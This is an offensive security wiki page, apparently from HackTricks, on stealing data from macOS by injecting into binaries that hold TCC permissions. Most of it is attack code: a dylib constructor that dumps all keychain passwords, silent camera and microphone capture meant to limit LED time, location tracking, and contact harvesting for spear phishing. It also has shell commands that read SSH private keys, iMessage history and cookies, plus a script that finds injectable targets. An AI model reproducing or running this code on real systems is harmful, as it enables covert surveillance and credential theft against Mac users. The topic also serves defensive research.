macOS Credential & Data Theft via TCC Permissions

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Overview

macOS TCC (Transparency, Consent, and Control) protects access to sensitive user data. When an attacker compromises a binary that already has TCC grants, they inherit those permissions. This page documents the exploitation potential of each data-theft-related TCC permission.

Warning

Code injection into a TCC-granted binary (via DYLD injection, dylib hijacking, or task port) silently inherits all its TCC permissions. There is no additional prompt or verification when the same process reads protected data.

Keychain Access Groups

The Prize

The macOS Keychain stores:

Wi-Fi passwords — all saved wireless network credentials
Website passwords — Safari, Chrome (when using Keychain), and other browser passwords
Application passwords — email accounts, VPN credentials, development tokens
Certificates and private keys — code signing, client TLS, S/MIME encryption
Secure notes — user-stored secrets

Entitlement: `keychain-access-groups`

Keychain items are organized into access groups. An application’s keychain-access-groups entitlement lists which groups it can access:

<key>keychain-access-groups</key>
<array>
    <string>com.apple.cfnetwork</string>   <!-- Network passwords -->
    <string>com.apple.security.personal-information.identity</string>  <!-- Personal certs -->
    <string>apple</string>                  <!-- Broad Apple group -->
    <string>InternetAccounts</string>       <!-- Internet account passwords -->
</array>

Exploitation

# Find binaries with broad keychain access groups
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
  AND isAppleBin = 0
ORDER BY privileged DESC;"

# If you can inject into such a binary, enumerate keychain items:
security dump-keychain -d ~/Library/Keychains/login.keychain-db 2>&1 | head -100

# Find specific passwords
security find-generic-password -s "Wi-Fi" -w 2>&1
security find-internet-password -s "github.com" 2>&1

Code Injection → Keychain Theft

// Injected dylib code — runs with the target's keychain groups
#import <Security/Security.h>

__attribute__((constructor))
void dumpKeychain(void) {
    NSDictionary *query = @{
        (__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
        (__bridge id)kSecReturnAttributes: @YES,
        (__bridge id)kSecReturnData: @YES,
        (__bridge id)kSecMatchLimit: (__bridge id)kSecMatchLimitAll
    };
    
    CFArrayRef results = NULL;
    OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (CFTypeRef *)&results);
    
    if (status == errSecSuccess) {
        NSArray *items = (__bridge NSArray *)results;
        for (NSDictionary *item in items) {
            NSString *service = item[(__bridge id)kSecAttrService];
            NSString *account = item[(__bridge id)kSecAttrAccount];
            NSData *passData = item[(__bridge id)kSecValueData];
            NSString *password = [[NSString alloc] initWithData:passData encoding:NSUTF8StringEncoding];
            // service, account, password — the full credential triple
        }
    }
}

Camera Access (kTCCServiceCamera)

Exploitation

A binary with camera TCC grant (via kTCCServiceCamera or com.apple.security.device.camera entitlement) can capture photos and video:

# Find camera-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "SELECT client FROM access WHERE service='kTCCServiceCamera' AND auth_value=2;"

Silent Capture

// Injected into a camera-entitled process
#import <AVFoundation/AVFoundation.h>

@interface SilentCapture : NSObject <AVCaptureVideoDataOutputSampleBufferDelegate>
@property (strong) AVCaptureSession *session;
@end

@implementation SilentCapture
- (void)startCapture {
    self.session = [[AVCaptureSession alloc] init];
    AVCaptureDevice *camera = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:camera error:nil];
    [self.session addInput:input];
    
    AVCaptureVideoDataOutput *output = [[AVCaptureVideoDataOutput alloc] init];
    [output setSampleBufferDelegate:self queue:dispatch_get_global_queue(0, 0)];
    [self.session addOutput:output];
    
    [self.session startRunning];
    // Camera LED turns on — but a brief capture may go unnoticed
}

- (void)captureOutput:(AVCaptureOutput *)output
    didOutputSampleBuffer:(CMSampleBufferRef)sampleBuffer
    fromConnection:(AVCaptureConnection *)connection {
    // Each frame can be saved to disk or exfiltrated
    // Stop after capturing a few frames to minimize LED time
    [self.session stopRunning];
}
@end

Tip

Starting with macOS Sonoma, the camera indicator in the menu bar is persistent and cannot be hidden programmatically. On older macOS versions, a brief capture may not produce a noticeable indicator.

Microphone Access (kTCCServiceMicrophone)

Exploitation

Microphone access captures all audio from the built-in mic, headset, or connected audio input devices:

# Find mic-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "SELECT client FROM access WHERE service='kTCCServiceMicrophone' AND auth_value=2;"

Attack: Ambient Recording

// Injected into a mic-entitled process
#import <AVFoundation/AVFoundation.h>

- (void)recordAudio {
    NSURL *url = [NSURL fileURLWithPath:@"/tmp/recording.m4a"];
    NSDictionary *settings = @{
        AVFormatIDKey: @(kAudioFormatMPEG4AAC),
        AVSampleRateKey: @44100.0,
        AVNumberOfChannelsKey: @1
    };
    AVAudioRecorder *recorder = [[AVAudioRecorder alloc] initWithURL:url settings:settings error:nil];
    [recorder record];
    // Records everything: conversations, phone calls, ambient audio
    
    // Stop after a duration
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC),
                   dispatch_get_main_queue(), ^{
        [recorder stop];
        // Exfiltrate /tmp/recording.m4a
    });
}

Location Tracking (kTCCServiceLocation)

Exploitation

# Find location-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "SELECT client FROM access WHERE service LIKE '%Location%' AND auth_value=2;"

Continuous Tracking

#import <CoreLocation/CoreLocation.h>

@interface Tracker : NSObject <CLLocationManagerDelegate>
@end

@implementation Tracker
- (void)startTracking {
    CLLocationManager *mgr = [[CLLocationManager alloc] init];
    mgr.delegate = self;
    mgr.desiredAccuracy = kCLLocationAccuracyBest;
    [mgr startUpdatingLocation];
}

- (void)locationManager:(CLLocationManager *)manager
     didUpdateLocations:(NSArray<CLLocation *> *)locations {
    CLLocation *loc = locations.lastObject;
    // loc.coordinate.latitude, loc.coordinate.longitude
    // Reveals: home address, work address, travel patterns, daily routine
    NSString *entry = [NSString stringWithFormat:@"%f,%f,%@\n",
        loc.coordinate.latitude, loc.coordinate.longitude, [NSDate date]];
    // Append to tracking log
}
@end

Contacts / Calendar / Photos

Personal Data Exfiltration

TCC Service	Framework	Data
`kTCCServiceAddressBook`	`Contacts.framework`	Names, emails, phones, addresses
`kTCCServiceCalendar`	`EventKit`	Meetings, attendees, locations
`kTCCServicePhotos`	`Photos.framework`	Photos, screenshots, location metadata

# Find authorized binaries for each service
for svc in kTCCServiceAddressBook kTCCServiceCalendar kTCCServicePhotos; do
  echo "=== $svc ==="
  sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
    "SELECT client FROM access WHERE service='$svc' AND auth_value=2;"
done

Contacts Harvesting

#import <Contacts/Contacts.h>

CNContactStore *store = [[CNContactStore alloc] init];
NSArray *keys = @[CNContactGivenNameKey, CNContactFamilyNameKey,
                  CNContactEmailAddressesKey, CNContactPhoneNumbersKey];
CNContactFetchRequest *request = [[CNContactFetchRequest alloc] initWithKeysToFetch:keys];

[store enumerateContactsWithFetchRequest:request error:nil
    usingBlock:^(CNContact *contact, BOOL *stop) {
    // contact.givenName, contact.familyName
    // contact.emailAddresses, contact.phoneNumbers
    // All contacts exfiltrated for social engineering / spear phishing
}];

iCloud Account Access

Entitlement: `com.apple.private.icloud-account-access`

This entitlement allows communicating with com.apple.iCloudHelper XPC service, providing access to:

iCloud tokens — authentication tokens for the user’s Apple ID
iCloud Drive — synced documents from all devices
iCloud Keychain — passwords synced across all Apple devices
Find My — location of all the user’s Apple devices

# Find iCloud-entitled binaries
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE iCloudAccs = 1
ORDER BY privileged DESC;"

Caution

Compromising an iCloud-entitled binary extends the attack from a single device to the entire Apple ecosystem: other Macs, iPhones, iPads, Apple Watch. iCloud Keychain sync means passwords from all devices are accessible.

Full Disk Access (kTCCServiceSystemPolicyAllFiles)

The Most Powerful TCC Permission

Full Disk Access grants read capability to every file on the system, including:

Other apps’ data (Messages, Mail, Safari history)
TCC databases (revealing all other permissions)
SSH keys and configuration
Browser cookies and session tokens
Application databases and caches

# Find FDA-granted binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "SELECT client FROM access WHERE service='kTCCServiceSystemPolicyAllFiles' AND auth_value=2;"

# With FDA, read anything:
cat ~/Library/Messages/chat.db              # iMessage history
cat ~/Library/Safari/History.db             # Safari browsing history
cat ~/Library/Cookies/Cookies.binarycookies # Browser cookies
cat ~/.ssh/id_rsa                           # SSH private key

Exploitation Priority Matrix

When assessing injectable TCC-granted binaries, prioritize by data value:

Priority	TCC Permission	Why
Critical	Full Disk Access	Access to everything
Critical	TCC Manager	Can grant any permission
High	Keychain Access Groups	All stored passwords
High	iCloud Account Access	Multi-device compromise
High	Input Monitoring (ListenEvent)	Keylogging
High	Accessibility	GUI control, self-granting
Medium	Screen Capture	Visual data capture
Medium	Camera + Microphone	Surveillance
Medium	Contacts + Calendar	Social engineering data
Low	Location	Physical tracking
Low	Photos	Personal data

Enumeration Script

#!/bin/bash
echo "=== TCC Credential Theft Surface Audit ==="

echo -e "\n[*] High-value TCC grants (injectable binaries):"
sqlite3 /tmp/executables.db "
SELECT path, tccPermsStr FROM executables
WHERE (noLibVal = 1 OR allowDyldEnv = 1)
  AND tccPermsStr IS NOT NULL
  AND tccPermsStr != ''
ORDER BY privileged DESC
LIMIT 30;" 2>/dev/null

echo -e "\n[*] Keychain-entitled injectable binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
  AND (noLibVal = 1 OR allowDyldEnv = 1);" 2>/dev/null

echo -e "\n[*] iCloud-entitled binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables WHERE iCloudAccs = 1;" 2>/dev/null

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Browse the full HackTricks Training catalog for the assessment tracks (ARTA/GRTA/AzRTA) and Linux Hacking Expert (LHE).

Support HackTricks

Check the subscription plans!

Join the 💬 Discord group, the telegram group, follow @hacktricks_live on X/Twitter, or check the LinkedIn page and YouTube channel.

Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.